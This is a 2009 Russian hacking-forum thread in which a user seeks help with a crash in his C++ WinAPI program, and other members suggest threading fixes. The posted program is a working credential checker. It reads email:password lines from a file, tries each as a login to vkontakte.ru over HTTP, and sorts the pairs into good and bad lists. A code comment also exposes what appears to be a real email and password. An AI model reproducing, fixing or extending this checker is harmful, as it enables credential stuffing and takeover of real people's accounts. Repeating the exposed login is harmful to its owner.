ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Проблема с WINAPI.
  #1  
Старый 10.08.2009, 17:36
Аватар для xa-xa89
xa-xa89
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
Провел на форуме:
1054394

Репутация: 74
Отправить сообщение для xa-xa89 с помощью ICQ
По умолчанию Проблема с WINAPI.

Суть проблемы: пишу прогу когда запускаю выдает ошибку...
тогда я запускаю ее под отладчиком, но когда я пошагово выполняю ее под отладчиком ошибок нет и все замечательно!!!!
юзаю visual studio 2005 не подскажете в чем может быть проблема?
 
Ответить с цитированием

  #2  
Старый 10.08.2009, 18:12
Аватар для wolmer
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503

Репутация: 229
По умолчанию

Цитата:
Сообщение от xa-xa89  
Суть проблемы: пишу прогу когда запускаю выдает ошибку...
тогда я запускаю ее под отладчиком, но когда я пошагово выполняю ее под отладчиком ошибок нет и все замечательно!!!!
юзаю visual studio 2005 не подскажете в чем может быть проблема?
Вот:eso.tv

Настоятельно рекомендую этого специалиста:
http://www.eso.tv/index?page=provider-blue&id=1569&

Щас пока что на античате все специалисты экстрасенсы в отпуске



Возможно ответ будет но если вы выложите сорцы где ошибка
 
Ответить с цитированием

  #3  
Старый 10.08.2009, 18:19
Аватар для xa-xa89
xa-xa89
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
Провел на форуме:
1054394

Репутация: 74
Отправить сообщение для xa-xa89 с помощью ICQ
По умолчанию

Код:
// checker.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "checker.h"
#include "process.h"
#include "wininet.h"
#include "iostream"
#include "string.h"
#include "stdio.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif
#define _MT


// The one and only application object

CWinApp theApp;

using namespace std;
const int th_num=1;
char *buffer;
volatile long CurrentLineNumber;
volatile long TotalLineNumber;
HANDLE gh,bh;
DWORD size;
DWORD WINAPI Thread(void* pParams);
int main(int argc,char* argv[])
{
	int nRetCode = 0;

	// initialize MFC and print and error on failure
	if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
	{
		// TODO: change error code to suit your needs
		_tprintf(_T("Fatal Error: MFC initialization failed\n"));
		nRetCode = 1;
	}
	else
	{	CurrentLineNumber=0;
		TotalLineNumber=0;
		DWORD bytesread;
		BOOL bRead=TRUE;
	//Разборки с файлами!Открыли и прочитали input.txt
		HANDLE fh=::CreateFile(TEXT("input.txt"),GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,NULL,NULL);
		if (fh==INVALID_HANDLE_VALUE) {
			cout<<"\ninput.txt dosn`t exist\n";
			::exit(EXIT_FAILURE);
		} else {
			printf("\nReading input.txt...");
			size=GetFileSize(fh,NULL);
			buffer=(char *)malloc(size-13);
			memset(buffer,0,size);
			bRead=::ReadFile(fh,buffer,size,(LPDWORD)&bytesread,NULL);
			::CloseHandle(fh);
			char *bp=buffer;
			while(*bp!='\0')
			{
				if(*bp=='\n')
					TotalLineNumber++;
				bp++;
			}
			TotalLineNumber++;
		}
	//Cоздадим для записи bad.txt и good.txt
		printf("\nOpening good.txt and bad.txt");
		gh=::CreateFile(TEXT("good.txt"),GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,NULL,NULL);
		if (gh==INVALID_HANDLE_VALUE)
		{
			printf("\nError creating file good.txt");
			::exit(EXIT_FAILURE);
		} else
		{
			::SetFilePointer(gh,NULL,NULL,FILE_END);
		}
		bh=::CreateFile(TEXT("bad.txt"),GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,NULL,NULL);
		if (bh==INVALID_HANDLE_VALUE)
		{
			printf("\nError creating file bad.txt");
			::exit(EXIT_FAILURE);
		}
		else
		{
			::SetFilePointer(bh,NULL,NULL,FILE_END);
			}
		printf("\n%d:%d",CurrentLineNumber,TotalLineNumber);
			//создаем потоки
			DWORD idThread;//[th_num];
			int iThread;
			printf("%d",th_num);
			HANDLE hTr[th_num];
			/*for(iThread=0;iThread<th_num;iThread++)
			{
				hTr[iThread]=::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread,NULL,0,&idThread);
					printf("Thread created");
			}*/
			hTr[0]=::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread,NULL,0,&idThread);
			printf("\naaa\n");
			//где то вот тут оно выдает ошибку
			WaitForMultipleObjects(th_num,hTr,TRUE,INFINITE);
			//::CloseHandle(hTr[0]);
			/*for(iThread=0;iThread<=th_num-1;iThread++)
			{
				printf("\n***closeT***\n");
				::WaitForSingleObject(hTr[iThread],INFINITE);
				::CloseHandle(hTr[iThread]);
			}*/
		//::Sleep(7000);
		//printf("\n%d:%d",CurrentLineNumber,TotalLineNumber);
		//::CloseHandle(gh);
		//::CloseHandle(bh);
	}
	return nRetCode;
}
DWORD WINAPI Thread(void* pParams){
unsigned int s=(unsigned int)size;
		unsigned int i=0;
		int N=1;
		CRITICAL_SECTION cs;
		::InitializeCriticalSection(&cs);
		while(CurrentLineNumber<TotalLineNumber){
		int n=0,n1=0;//номер строки
		int point;//двоиточия
		char email[150]="";
		char pass[150]="";
		char auth_str[170]="login.php?op=a_login_attempt&email=";
		char auth2[100]="&pass=";
		char email_pass[100]="bad\n";;
		wchar_t str[170];
		DWORD byteswrite;	
	//вычислим начальное смщение
		int b=0;//начальное смщение строки
		int f;//конец строки 
		printf("parse");
			for(i=0;i<s;i++){
				//оперделили конец строки N
				if((buffer[i]=='\n') || (i==s)){
					n=n+1;
					if(n==N) f=i+1;
				}
				//Определим начало строки
				if(buffer[i]=='\n'){
					n1=n1+1;
					if(n==N-1) b=i+1;
				}
				//Оперделим позицию двоеточия
				if(n==N-1)
					if(buffer[i]==':') point=i;
			}
			printf("!!postions!!");
			::_sprintf_p(email,point-b+1,"%s",buffer+b);
			::_sprintf_p(pass,f-point,"%s",buffer+point+1);
			::_sprintf_p(email_pass,f-b,"%s",buffer+b);
			printf("emai:pass");
			::strcat_s(pass,"&expire=0");
			::strcat_s(auth2,pass);
			::strcat_s(email,auth2);
			::strcat_s(auth_str,email);
			for(i=0;i<strlen(auth_str);i++)
				str[i]=::btowc(auth_str[i]);
		//Отправка запроса
			printf("parse_end");
		char page[100]="vot";
	HINTERNET ihandler=::InternetOpen(TEXT("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13"),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
		if (ihandler!=NULL){
			HINTERNET iconnect=::InternetConnect(ihandler,TEXT("vkontakte.ru"),INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,NULL);
		if (iconnect!=NULL){
				HINTERNET irequest=::HttpOpenRequest(iconnect,L"GET",LPCWSTR(str),NULL,NULL,NULL,INTERNET_FLAG_KEEP_CONNECTION,NULL);//(iconnect,TEXT("GET"),TEXT("login.php"),NULL,NULL,(LPCWSTR *)"text/*",INTERNET_FLAG_KEEP_CONNECTION,NULL);//?op=a_login_attempt&email=xa.xa14@gmail.com&pass=iamxakep14!&expire=0
				if (irequest!=NULL){
					if(HttpSendRequest(irequest,L"",0,L"",0))
					{
						DWORD BytesRead;
						if(::InternetReadFile(irequest,page,sizeof(page)-1,&BytesRead))
						{
							//проверка результат запроса
							strcat_s(email_pass,"\n");
							if(strstr(page,"good")!=NULL){;
								::EnterCriticalSection(&cs);
								if(::WriteFile(gh,email_pass,(DWORD)strlen(email_pass)-1,&byteswrite,NULL)==false)
									//::ExitThread(1);
								::LeaveCriticalSection(&cs);
							}
							else 
							{
								::EnterCriticalSection(&cs);
								if(::WriteFile(bh,email_pass,(DWORD)strlen(email_pass)-1,&byteswrite,NULL)==false)
									//::ExitThread(1);
								::LeaveCriticalSection(&cs);
							}
						}
					}
				}::InternetCloseHandle(irequest);
			}::InternetCloseHandle(iconnect);
		}::InternetCloseHandle(ihandler);
		::EnterCriticalSection(&cs);
		CurrentLineNumber=CurrentLineNumber+1;
		N=CurrentLineNumber;
		::LeaveCriticalSection(&cs);
		}
		::DeleteCriticalSection(&cs);
		return 0;
Слушаю любую критику и предложения по коду и т.д...
Только начал разбираться с винапи...
Запускаю ошибка!в отладчике все окей!

пишет память не может бить written!

Последний раз редактировалось xa-xa89; 10.08.2009 в 18:50..
 
Ответить с цитированием

  #4  
Старый 10.08.2009, 18:36
Аватар для SmanxX1
SmanxX1
Новичок
Регистрация: 04.08.2008
Сообщений: 29
Провел на форуме:
167800

Репутация: 15
По умолчанию

Лень смотреть что там и что это вообще такое, но заметил, что юзаются потоки.
Вместо CreateThread, в C/C++ лучше использовать _beginthreadex и _endthreadex для завершения.
 
Ответить с цитированием

  #5  
Старый 10.08.2009, 18:41
Аватар для _nic
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме:
2982851

Репутация: 107


По умолчанию

Скорей всего какая то проблема синхронизации между потоками.
 
Ответить с цитированием

  #6  
Старый 10.08.2009, 18:43
Аватар для xa-xa89
xa-xa89
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
Провел на форуме:
1054394

Репутация: 74
Отправить сообщение для xa-xa89 с помощью ICQ
По умолчанию

В приведеном коде я создаю всего один поток! какая может быть проблема синхронизации между ними?
к тому же я уже написал что под отладчиком все работает идеально!
а если просто запустить то пишет ошибку...
ест еще какие то соображения?
 
Ответить с цитированием

  #7  
Старый 10.08.2009, 19:40
Аватар для SmanxX1
SmanxX1
Новичок
Регистрация: 04.08.2008
Сообщений: 29
Провел на форуме:
167800

Репутация: 15
По умолчанию

Цитата:
В приведеном коде я создаю всего один поток!
А зачем тогда используешь WaitForMultipleObjects? Используй WaitForSingleObject.
И что хоть за ошибку показыват? GetLastError() что выдает?
 
Ответить с цитированием

  #8  
Старый 10.08.2009, 19:54
Аватар для xa-xa89
xa-xa89
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
Провел на форуме:
1054394

Репутация: 74
Отправить сообщение для xa-xa89 с помощью ICQ
По умолчанию

Сделал вот так
Код:
			printf("\n***%d***",GetLastError());
			::WaitForSingleObject(hTr,INFINITE);
			printf("\n***%d***",GetLastError());
то что до WaitForSingleObject выдает 0, значит все ок
а вот то что после вообще не попадает на экран!
память не может быть written и все....

Значит проблема в WaitForSingleObject тут?

вот оглашение переменых и создание потока
Код:
			
DWORD idThread; 			
HANDLE hTr;
hTr=::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread,NULL,0,&idThread);
я так понимаю что какая то проблема с завершением потока....

Последний раз редактировалось xa-xa89; 10.08.2009 в 20:04..
 
Ответить с цитированием

  #9  
Старый 10.08.2009, 20:26
Аватар для SmanxX1
SmanxX1
Новичок
Регистрация: 04.08.2008
Сообщений: 29
Провел на форуме:
167800

Репутация: 15
По умолчанию

Цитата:
я так понимаю что какая то проблема с завершением потока....
Ну да, у тебя в твоей функции Thread нету "завершения" потока, поэтому WaitForSingleObject(hTr,INFINITE); может ждать вечно его завершения.
Допиши ExitTHread(0) в свою функцию. Хотя непонятно, return 0, тоже должно нормально завершить поток.
 
Ответить с цитированием

  #10  
Старый 10.08.2009, 20:34
Аватар для xa-xa89
xa-xa89
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
Провел на форуме:
1054394

Репутация: 74
Отправить сообщение для xa-xa89 с помощью ICQ
По умолчанию

не помогает! все одно и тоже....
и все меня настораживает то что под отладчиком ошибок нет!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Непонятная проблема с интернетом по всей локалке ZneP Администрирование 6 19.06.2009 15:27
проблема с юникодом amorphius PHP, PERL, MySQL, JavaScript 3 05.05.2009 23:00
Снова проблема с булкой... Taylorith Уязвимости 10 16.11.2006 12:19
Проблема с TBrowser donetsk С/С++, C#, Delphi, .NET, Asm 4 06.07.2006 09:37
Проблема Mac OS X не только в Safari DRON-ANARCHY Мировые новости 0 23.02.2006 21:12



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ